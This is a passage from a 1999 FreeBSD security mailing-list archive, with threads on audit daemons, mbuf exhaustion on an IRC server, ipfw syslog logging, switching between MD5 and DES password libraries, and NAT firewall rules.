implementation, as was > > > discussed on freebsd-security in July (please see archive for details). > > > My userland library currently supports most of the posix.1e audit > > > interface spec, and I have a set of posix.1e extensions for IDS modules. > > > My hope is to adapt my auditd to speak Nate's kernel improvements, but > > > continue to provide a standard interface and useful tools/etc. > > > > URL to source code please... and I already pointed out that we need > > to at least look at what is out there. > > Robert's code exists, but we both agree it was not the most effecient > way of doing things. My code is not yet available for reasons already > stated publically. > > If/when it's to the point that it actually does something significant, > then maybe I'll put up a snapshot for public consumption, but no ^^^^^^^^^^^ > earlier. > I say that then we should move forward as if your code doesn't exist, I don't want to see this wait 3 or 4 months on a ``maybe'' some code... I understand this code is being written for SRI under employement conditions and fear it may never see the outside of SRI. I'm not saying that you should stop your input process here, but lets not hold us off for 3 months on a maybe we can get some code. There are people here today willing to start developing code in a public forum that we can be assured will be avaliable as it evolves. Open developement is part of the game... -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 12:27:57 1999 Delivered-To: freebsd-security@freebsd.org Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by hub.freebsd.org (Postfix) with ESMTP id 6E59A14E1D for ; Mon, 20 Sep 1999 12:27:50 -0700 (PDT) (envelope-from bmilekic@dsuper.net) Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by oracle.dsuper.net (8.9.3/8.9.3) with ESMTP id PAA14385; Mon, 20 Sep 1999 15:26:17 -0400 (EDT) Date: Mon, 20 Sep 1999 15:26:17 -0400 (EDT) From: Bosko Milekic To: Kip Macy Cc: Dag-Erling Smorgrav , Joao Carlos , security@FreeBSD.ORG, hitech@bahianet.com.br Subject: Re: Out of mbuf clusters In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Sep 1999, Kip Macy wrote: !>Here is where your philosophy diverges from many others -- I and I believe !>many others think that a server operating system should at least be robust !>out of the box. Neither Linux nor Solaris is vulnerable to running out of !>mbufs as a result of malicious code. I don't think FreeBSD should be !>either. !> !>This is in no way a rant against FreeBSD, but rather a rant against the !>attitude that one needs to know about OS internals to run a lightweight !>server. If all of core insisted that Joe User had to know about internals !>to use FreeBSD as a server, FreeBSD would be little more than a hobbyist !>OS, rather than what it is -- the best OS currently available. !> !> -Kip !> First of all, you can't compare 'mbufs' with Linux. Second of all, there are advantages and disadvantages to every implementation. There are people presently working on changing the bahavior of certain shortage situations (like mbufs, for instance) but this work is dedicated to making the present implemention _better_, and not changing it entirely. Finally, although I don't officially represent the project, I seriously doubt that core (or anybody else that posted in response to the initial "problem") implied that "one needs to know about OS internals to run a lightweight server." The suggestion here seems to simply be that if you want to do _more_ than run a light-weight server and be able to protect yourself from _every_ type of idiotic DoS (or whatever), especially when being exposed to a multitude of possible DoS attacks (e.g. when running an IRC server), you have to know something more than just how to whine and complain about 'security.' I have a feeling that many people who want security-related issues fixed complain because they don't know what it involves -- and to know what it involves you have to know at least *something* about the way things work. Thus, my suggestion is to either help some of us better certain areas or take Dag-Erling's advice on running an IRC server whilst remaining protected (see previous posts) and save yourself the work. Also, I don't think that cross-posting to questions, stable, and security was necessary. --Bosko Milekic To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 12:31:32 1999 Delivered-To: freebsd-security@freebsd.org Received: from luna.lyris.net (luna.shelby.com [207.90.155.6]) by hub.freebsd.org (Postfix) with ESMTP id D9B4915595 for ; Mon, 20 Sep 1999 12:31:29 -0700 (PDT) (envelope-from kip@lyris.com) Received: from luna.shelby.com by luna.lyris.net (8.9.1b+Sun/SMI-SVR4) id MAA03613; Mon, 20 Sep 1999 12:30:38 -0700 (PDT) Received: from (luna.shelby.com [207.90.155.6]) by luna.shelby.com with SMTP (MailShield v1.50); Mon, 20 Sep 1999 12:30:38 -0700 Date: Mon, 20 Sep 1999 12:30:38 -0700 (PDT) From: Kip Macy X-Sender: kip@luna To: Bosko Milekic Cc: Dag-Erling Smorgrav , Joao Carlos , security@FreeBSD.ORG, hitech@bahianet.com.br Subject: Re: Out of mbuf clusters In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-SMTP-HELO: luna X-SMTP-MAIL-FROM: kip@lyris.com X-SMTP-RCPT-TO: bmilekic@dsuper.net,des@flood.ping.uio.no,jcarlos@bahianet.com.br,security@FreeBSD.ORG,hitech@bahianet.com.br X-SMTP-PEER-INFO: luna.shelby.com [207.90.155.6] Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Sep 1999, Bosko Milekic wrote: > > > On Mon, 20 Sep 1999, Kip Macy wrote: > !>Here is where your philosophy diverges from many others -- I and I believe > !>many others think that a server operating system should at least be robust > !>out of the box. Neither Linux nor Solaris is vulnerable to running out of > !>mbufs as a result of malicious code. I don't think FreeBSD should be > !>either. > !> > !>This is in no way a rant against FreeBSD, but rather a rant against the > !>attitude that one needs to know about OS internals to run a lightweight > !>server. If all of core insisted that Joe User had to know about internals > !>to use FreeBSD as a server, FreeBSD would be little more than a hobbyist > !>OS, rather than what it is -- the best OS currently available. > !> > !> -Kip > !> > > First of all, you can't compare 'mbufs' with Linux. > > Second of all, there are advantages and disadvantages to every > implementation. There are people presently working on changing the > bahavior of certain shortage situations (like mbufs, for instance) but > this work is dedicated to making the present implemention _better_, and > not changing it entirely. > > Finally, although I don't officially represent the project, I > seriously doubt that core (or anybody else that posted in response to the > initial "problem") implied that "one needs to know about OS internals to > run a lightweight server." The suggestion here seems to simply be that if > you want to do _more_ than run a light-weight server and be able to > protect yourself from _every_ type of idiotic DoS (or whatever), > especially when being exposed to a multitude of possible DoS attacks (e.g. > when running an IRC server), you have to know something more than just how > to whine and complain about 'security.' I have a feeling that many people > who want security-related issues fixed complain because they don't know > what it involves -- and to know what it involves you have to know at least > *something* about the way things work. Thus, my suggestion is to either > help some of us better certain areas or take Dag-Erling's advice on > running an IRC server whilst remaining protected (see previous posts) and > save yourself the work. I stand corrected. > > Also, I don't think that cross-posting to questions, stable, and > security was necessary. > It was not, it just happened to be in the original cc-list. > > --Bosko Milekic > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 12:45:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 642AC15328; Mon, 20 Sep 1999 12:45:08 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id VAA72505; Mon, 20 Sep 1999 21:45:03 +0200 (CEST) (envelope-from des) To: "Brian F. Feldman" Cc: cjclark@home.com, Dag-Erling Smorgrav , Root , skalir scalar , freebsd-security@FreeBSD.ORG Subject: Re: ipfw and syslogd References: From: Dag-Erling Smorgrav Date: 20 Sep 1999 21:45:02 +0200 In-Reply-To: "Brian F. Feldman"'s message of "Fri, 17 Sep 1999 14:42:14 -0400 (EDT)" Message-ID: Lines: 16 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Brian F. Feldman" writes: > On Thu, 16 Sep 1999, Crist J. Clark wrote: > > Dag-Erling Smorgrav wrote, > > > Root writes: > > > > !ipfw > > > > *.* /var/log/firewall.log > > > Won't work in -STABLE, because ip_fw.c uses printf() instead of log(). > It should work just fine, since printf()s go to syslog too. It's never worked for me in -STABLE, though it's possible that I'm mistaken and that it's a syslogd issue rather than a printf() vs. log() issue. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 12:58: 7 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 9082B15C10; Mon, 20 Sep 1999 12:57:39 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id NAA29258; Mon, 20 Sep 1999 13:57:38 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id NAA02535; Mon, 20 Sep 1999 13:57:36 -0600 Date: Mon, 20 Sep 1999 13:57:36 -0600 Message-Id: <199909201957.NAA02535@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Dag-Erling Smorgrav Cc: "Brian F. Feldman" , cjclark@home.com, Root , skalir scalar , freebsd-security@FreeBSD.ORG Subject: Re: ipfw and syslogd In-Reply-To: References: X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > Dag-Erling Smorgrav wrote, > > > > Root writes: > > > > > !ipfw > > > > > *.* /var/log/firewall.log > > > > Won't work in -STABLE, because ip_fw.c uses printf() instead of log(). > > It should work just fine, since printf()s go to syslog too. > > It's never worked for me in -STABLE, though it's possible that I'm > mistaken and that it's a syslogd issue rather than a printf() vs. > log() issue. It's working fine in 2.2, so I suspect it should also work in -stable. (I'm using it now, since 2.2 doesn't contain any of the ipfw and syslog patches, nor will it every contain them.) Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 13: 2:36 1999 Delivered-To: freebsd-security@freebsd.org Received: from hotmail.com (law-f309.hotmail.com [209.185.131.13]) by hub.freebsd.org (Postfix) with SMTP id 371FF15B72 for ; Mon, 20 Sep 1999 13:02:33 -0700 (PDT) (envelope-from skalir@hotmail.com) Received: (qmail 66298 invoked by uid 0); 20 Sep 1999 20:02:33 -0000 Message-ID: <19990920200232.66297.qmail@hotmail.com> Received: from 166.62.215.117 by www.hotmail.com with HTTP; Mon, 20 Sep 1999 13:02:32 PDT X-Originating-IP: [166.62.215.117] From: "skalir scalar" To: freebsd-security@freebsd.org, freebsd-questions@freebsd.org Subject: MD5 vs. DES Date: Mon, 20 Sep 1999 12:02:32 AKDT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I am looking for someinfomation or an 'HOWTO' on installing MD5 lib's versus using DES for like the password files and the such like. any info would be great. thanks. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 13:18:37 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 1EFAD14BD2; Mon, 20 Sep 1999 13:18:34 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 102FD1CD58C; Mon, 20 Sep 1999 13:18:33 -0700 (PDT) (envelope-from kris@hub.freebsd.org) Date: Mon, 20 Sep 1999 13:18:33 -0700 (PDT) From: Kris Kennaway To: skalir scalar Cc: freebsd-security@freebsd.org, freebsd-questions@freebsd.org Subject: Re: MD5 vs. DES In-Reply-To: <19990920200232.66297.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Sep 1999, skalir scalar wrote: > I am looking for someinfomation or an 'HOWTO' on installing MD5 > lib's versus using DES for like the password files and the such > like. any info would be great. thanks. If you don't select DES libraries at install-time (or install them some other way), then you get MD5 passwords, which are arguably "better" in many ways. If you do install DES libraries, you automatically get DES passwords. You can change this with a bit of hackery in libcrypt - I have a mostly-completed replacement to libcrypt which fixes this but it may be some time before I can get it committed. Moral: don't install the DES libraries unless you need them. "Installed" means which copy is pointed to by the libcrypt.* symlinks in /usr/lib - to switch between DES and MD5 if you have them both then you just re-point the symlinks. If you have DES libraries installed, your system can understand both existing DES and MD5 passwords, but if you have MD5 then you can't use existing DES passwords. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 13:38:35 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 10DC615C7D; Mon, 20 Sep 1999 13:38:25 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id WAA72766; Mon, 20 Sep 1999 22:38:18 +0200 (CEST) (envelope-from des) To: "skalir scalar" Cc: freebsd-security@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: MD5 vs. DES References: <19990920200232.66297.qmail@hotmail.com> From: Dag-Erling Smorgrav Date: 20 Sep 1999 22:38:17 +0200 In-Reply-To: "skalir scalar"'s message of "Mon, 20 Sep 1999 12:02:32 AKDT" Message-ID: Lines: 27 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "skalir scalar" writes: > I am looking for someinfomation or an 'HOWTO' on installing MD5 > lib's versus using DES for like the password files and the such > like. any info would be great. thanks. Assuming you do not have any DES passwords (if you do, you'll have to replace them after moving the links): # cd /usr/lib # ln -fs libscrypt.a libcrypt.a # ln -fs libscrypt.so libcrypt.so # ln -fs libscrypt.so.2 libcrypt.so.2 # ln -fs libscrypt.so.2.0 libcrypt.so.2.0 And, if you have the profiling libraries installed: # ln -fs libscrypt_p.a libcrypt_p.a Then reboot, or at least cycle through single-user mode to make sure everything is relinked. To reenable DES encryption, follow the same instructions but replace "libscrypt" with "libdescrypt". DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 14:26:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from snake.supranet.net (snake.supranet.net [205.164.160.19]) by hub.freebsd.org (Postfix) with ESMTP id A88C315491 for ; Mon, 20 Sep 1999 14:26:02 -0700 (PDT) (envelope-from john@arnie.jfive.com) Received: from snake.supranet.net (snake.supranet.net [205.164.160.19]) by snake.supranet.net (8.8.8/8.8.8) with SMTP id QAA03834 for ; Mon, 20 Sep 1999 16:13:41 -0500 (CDT) (envelope-from john@arnie.jfive.com) Date: Mon, 20 Sep 1999 16:13:41 -0500 (CDT) From: John Heyer X-Sender: john@snake.supranet.net To: security@FreeBSD.ORG Subject: port-blocking ipfw rules with NAT - necesary? In-Reply-To: <19990920162742.A12619@bitbox.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In the firewall section of the handbook, it recommends something like: - Stop IP spoofing and RFC1918 networks on the outside interface - Deny most (if not all) UDP traffic - Protect TCP ports 1-1024,2000,2049,6000-6063 on the internal network These rules make sense, but I think they make the assumption the network you're protecting is routable. If I'm running NAT and my internal network is non-routable, do I really need to continue blocking ports? For example, let's say someone was running an open relay mail server or vulnerable FTP server - would it be possible for an intruder to someone access the internal machine assuming I'm not using -redirect_port or -redirect_address with natd? -- "Your illogical approach ... does have its advantages." -- Spock, after being Checkmated by Kirk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 14:38:49 1999 Delivered-To: freebsd-security@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 4711C14C3D; Mon, 20 Sep 1999 14:37:34 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id OAA23681; Mon, 20 Sep 1999 14:33:22 -0700 (PDT) Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id OAA11107; Mon, 20 Sep 1999 14:20:23 -0700 Received: from softweyr.com (dyn4.utah.xylan.com) by omni.xylan.com (4.1/SMI-4.1 (xylan engr [SPOOL])) id AA13884; Mon, 20 Sep 99 14:32:55 PDT Message-Id: <37E6A807.7E07D48A@softweyr.com> Date: Mon, 20 Sep 1999 15:32:55 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en Mime-Version: 1.0 To: Brad Knowles Cc: Luigi Rizzo , Dag-Erling Smorgrav , jcarlos@bahianet.com.br, stable@FreeBSD.ORG, questions@FreeBSD.ORG, security@FreeBSD.ORG, hitech@bahianet.com.br Subject: Re: Out of mbuf clusters References: <199909201247.OAA08309@labinfo.iet.unipi.it> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brad Knowles wrote: > > At 2:47 PM +0200 1999/9/20, Luigi Rizzo wrote: > > > Reading the list it seems to me that you have forgotten rule #7: > > [ ... deletia ... ] > > > 7) Don't run an IRC server. > > And rule #8: > > 8) Grok every single line of source code throughout the entire > OS and be able to recode them all in machine language (assembly is > for wussies), or you are too stupid to run FreeBSD. Please add to that rule #10: 10) Accept that the people you are asking the question of MIGHT know a little bit more about the problem than you do, and be open to their advice, even if it doesn't fit your preconceived notion of what the solution might be. Granted, the answer DES gave was a little cryptic. He was also pointing out some of the crucial operational knowlege you need to SUCCESSFULLY operate an IRC server. Let me paraphrase the simple answer: "You're running out of mbuf clusters, which causes FreeBSD panic. It is quite simple to expand the number of mbuf clusters in your system. Go search for the phrase 'mbuf clusters' in the FreeBSD handbook or the -questions archives if you don't already know how to." It seems highly likely that ridiculing those who not only took the time to respond to your question, but also to GIVE YOU THE SYSTEM IN THE FIRST PLACE is NOT a good strategy for getting more questions answered in the future. Having a sense of humor will certainly help. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 15:17:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from out1.mx.skynet.be (out1.mx.skynet.be [195.238.2.36]) by hub.freebsd.org (Postfix) with ESMTP id D52F714F7C; Mon, 20 Sep 1999 15:17:15 -0700 (PDT) (envelope-from blk@skynet.be) Received: from [195.238.25.190] (dialup702.brussels2.skynet.be [195.238.25.190]) by out1.mx.skynet.be (8.9.3/odie-relay-v1.0) with ESMTP id AAA29718; Tue, 21 Sep 1999 00:16:35 +0200 (MET DST) Mime-Version: 1.0 X-Sender: blk@foxbert.skynet.be Message-Id: In-Reply-To: <37E6A807.7E07D48A@softweyr.com> References: <199909201247.OAA08309@labinfo.iet.unipi.it> <37E6A807.7E07D48A@softweyr.com> Date: Tue, 21 Sep 1999 00:09:36 +0200 To: Wes Peters From: Brad Knowles Subject: Re: Out of mbuf clusters Cc: Luigi Rizzo , Dag-Erling Smorgrav , jcarlos@bahianet.com.br, stable@FreeBSD.ORG, questions@FreeBSD.ORG, security@FreeBSD.ORG, hitech@bahianet.com.br Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 3:32 PM -0600 1999/9/20, Wes Peters wrote: > Granted, the answer DES gave was a little cryptic. Cryptic. Hmm. That's not exactly the word I'd choose, but I'm willing to leave it at that for now. > He was also pointing > out some of the crucial operational knowlege you need to SUCCESSFULLY > operate an IRC server. I disagree. I read what he wrote, and while those might be the necessary steps to run the world's largest IRC server, or the world's most secure, I think we can all agree that not everyone in the world needs to be a Superman in order to have an IRC server that doesn't spontaneously crash. Yes, some of those steps were necessary (most importantly, the one you outline below), but not all of them. > Let me paraphrase the simple answer: > > "You're running out of mbuf clusters, which causes FreeBSD panic. It is > quite simple to expand the number of mbuf clusters in your system. Go > search for the phrase 'mbuf clusters' in the FreeBSD handbook or the > -questions archives if you don't already know how to." This is precisely the answer that should have been given in the first place. Regardless of why he did it, what DES did was drive just one more wedge between the FreeBSD "haves", and the folks who'd like to learn more about what I still feel is the best overall implementation of Unix for servers (and arguably for desktop workstations). In the process, he's destroying a lot of good work by people such as yourself who would presumably attempt to close that knowledge gap in some way other than slamming the questioner at each and every step. I've known a lot of University professors like that. Regardless of how much they know, they are unable or unwilling to communicate that information in a manner which is useful and non-abusive to anyone not already operating on or very near their level. This makes life extremely (and unnecessarily) unpleasant for all the students who are forced to endure them, and the grad students who have to work even more closely with them. Many simply choose to go elsewhere. We'll never know how many Einsteins or Mother Theresas we'll never have, because they never got the chance to properly discover that side of themselves. > It seems highly likely that ridiculing those who not only took the time > to respond to your question, but also to GIVE YOU THE SYSTEM IN THE FIRST > PLACE is NOT a good strategy for getting more questions answered in the > future. In the end we all die. What will we be remembered for? Who will remember us that way? How many people will remember all the significant contributions that DES has made to the history of FreeBSD and the good of freely available OSes around the world, and how many will remember him for precisely the sort of thing that got this whole thread started? Of the people who remember him each way, how many other people will they pass on that memory to? How far will those passed on memories keeping getting passed on? Myself, I'd like very much to remember DES as a key contributor to what is still (for the moment, anyway) my favourite server OS, and I would hope that one day I might actually eliminate enough of my ignorance that I could possibly be capable of comprehending some of the stuff that he might have to share. However, at the moment, this seems rather unlikely. > Having a sense of humor will certainly help. It's very hard to recognize humour when it's so well camoflaged as vitriol. -- These are my opinions -- not to be taken as official Skynet policy ____________________________________________________________________ |o| Brad Knowles, Belgacom Skynet NV/SA |o| |o| Systems Architect, News & FTP Admin Rue Col. Bourg, 124 |o| |o| Phone/Fax: +32-2-706.11.11/12.49 B-1140 Brussels |o| |o| http://www.skynet.be Belgium |o| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Unix is like a wigwam -- no Gates, no Windows, and an Apache inside. Unix is very user-friendly. It's just picky who its friends are. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 16:29: 3 1999 Delivered-To: freebsd-security@freebsd.org Received: from tusk.mountain-inter.net (tusk.mountain-inter.net [204.244.200.1]) by hub.freebsd.org (Postfix) with ESMTP id C283E15B6D for ; Mon, 20 Sep 1999 16:28:55 -0700 (PDT) (envelope-from sreid@sea-to-sky.net) Received: from grok.localnet (dialup56.mountain-inter.net [204.244.200.65]) by tusk.mountain-inter.net (8.9.3/8.8.7) with ESMTP id QAA16944; Mon, 20 Sep 1999 16:28:20 -0700 Received: by grok.localnet (Postfix, from userid 1000) id E26FB212E07; Mon, 20 Sep 1999 16:33:04 -0700 (PDT) Date: Mon, 20 Sep 1999 16:33:04 -0700 From: Steve To: Robert Watson Cc: Jobe , ark@eltex.ru, freebsd@gndrsh.dnsmgr.net, security@FreeBSD.ORG Subject: Re: Real-time alarms Message-ID: <19990920163304.A334@grok.localnet> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Robert Watson on Mon, Sep 20, 1999 at 12:10:34PM -0400 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Sep 20, 1999 at 12:10:34PM -0400, Robert Watson wrote: > One thing I am particularly interested in seeing brought to fruition is a > way to protect key system security processes from interference--from any > other user process, even one running as root. This might be similar to > the jail code--the world being in a jail and only processes such as auditd > (possibly init?) outside of it. Processes would be unable to attach > debuggers to protected processes while securelevel was set above a certain > value, and limited in their ability to signal the processes, etc. Init used to be able to lower the securelevel and for that reason had (and still has?) some kernel code protecting it. IIRC, it was decided that Init's ability to lower the securelevel be revoked after it was discovered that the protections did not take cover procfs. The protections may still be in the kernel and might be adapted to protect other processes. Also, although you can signal Init, if it dies for any reason the system will reboot. This might be useful for security-related monitoring processes as well. Sorry, I don't have code... Not a kernel hacker. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 17: 8:26 1999 Delivered-To: freebsd-security@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id F1DD614EA9; Mon, 20 Sep 1999 17:08:23 -0700 (PDT) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id UAA05849; Mon, 20 Sep 1999 20:11:08 -0400 (EDT) (envelope-from cjc) From: "Crist J. Clark" Message-Id: <199909210011.UAA05849@cc942873-a.ewndsr1.nj.home.com> Subject: Re: ipfw and syslogd In-Reply-To: from Dag-Erling Smorgrav at "Sep 20, 1999 09:45:02 pm" To: des@flood.ping.uio.no (Dag-Erling Smorgrav) Date: Mon, 20 Sep 1999 20:11:08 -0400 (EDT) Cc: green@FreeBSD.ORG (Brian F. Feldman), cjclark@home.com, root@net72-105.student.yale.edu (Root), skalir@hotmail.com (skalir scalar), freebsd-security@FreeBSD.ORG Reply-To: cjclark@home.com X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Dag-Erling Smorgrav wrote, > "Brian F. Feldman" writes: > > On Thu, 16 Sep 1999, Crist J. Clark wrote: > > > Dag-Erling Smorgrav wrote, > > > > Root writes: > > > > > !ipfw > > > > > *.* /var/log/firewall.log > > > > Won't work in -STABLE, because ip_fw.c uses printf() instead of log(). > > It should work just fine, since printf()s go to syslog too. > > It's never worked for me in -STABLE, though it's possible that I'm > mistaken and that it's a syslogd issue rather than a printf() vs. > log() issue. I'm also curious about this for another reason to. I just configured a machine as a bridge, and there is a steady, but not alarming, flow of "collision" messages. I looked up the source in /usr/src/sys/net/bridge.c and see that the messages are printf()'s. These messages are annoying in my /var/log/messages file. I'd rather run them through a script to boil them down to stats or even direct to /dev/null, but how do I direct kernel messages produced by printf()'s? Now that I wrote this, it looks like the _exact_ same problem as with ipfw. -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 18:52:20 1999 Delivered-To: freebsd-security@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 59B1015653; Mon, 20 Sep 1999 18:52:08 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id SAA27513; Mon, 20 Sep 1999 18:45:21 -0700 (PDT) Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id SAA29390; Mon, 20 Sep 1999 18:32:36 -0700 Received: from softweyr.com (dyn4.utah.xylan.com) by omni.xylan.com (4.1/SMI-4.1 (xylan engr [SPOOL])) id AA27829; Mon, 20 Sep 99 18:45:16 PDT Message-Id: <37E6E32C.D6CC67C6@softweyr.com> Date: Mon, 20 Sep 1999 19:45:16 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en Mime-Version: 1.0 To: Brad Knowles Cc: Luigi Rizzo , Dag-Erling Smorgrav , jcarlos@bahianet.com.br, stable@FreeBSD.ORG, questions@FreeBSD.ORG, security@FreeBSD.ORG, hitech@bahianet.com.br Subject: Re: Out of mbuf clusters References: <199909201247.OAA08309@labinfo.iet.unipi.it> <37E6A807.7E07D48A@softweyr.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brad Knowles wrote: > > At 3:32 PM -0600 1999/9/20, Wes Peters wrote: > > > Granted, the answer DES gave was a little cryptic. > > Cryptic. Hmm. That's not exactly the word I'd choose, but I'm > willing to leave it at that for now. > > > He was also pointing > > out some of the crucial operational knowlege you need to SUCCESSFULLY > > operate an IRC server. > > I disagree. I read what he wrote, and while those might be the > necessary steps to run the world's largest IRC server, or the world's > most secure, I think we can all agree that not everyone in the world > needs to be a Superman in order to have an IRC server that doesn't > spontaneously crash. Right up until somebody launches a clone attack against you, which results in your server rolling over and dying one way or another. > Yes, some of those steps were necessary (most importantly, the > one you outline below), but not all of them. Right up until somebody launches a clone attack against you... (this is getting monotonous, isn't it? ;^) > > Let me paraphrase the simple answer: > > > > "You're running out of mbuf clusters, which causes FreeBSD panic. It is > > quite simple to expand the number of mbuf clusters in your system. Go > > search for the phrase 'mbuf clusters' in the FreeBSD handbook or the > > -questions archives if you don't already know how to." > > This is precisely the answer that should have been given in the > first place. He did, he just wrote it in geek-speak. I happen to be fluent in geek- speak, and 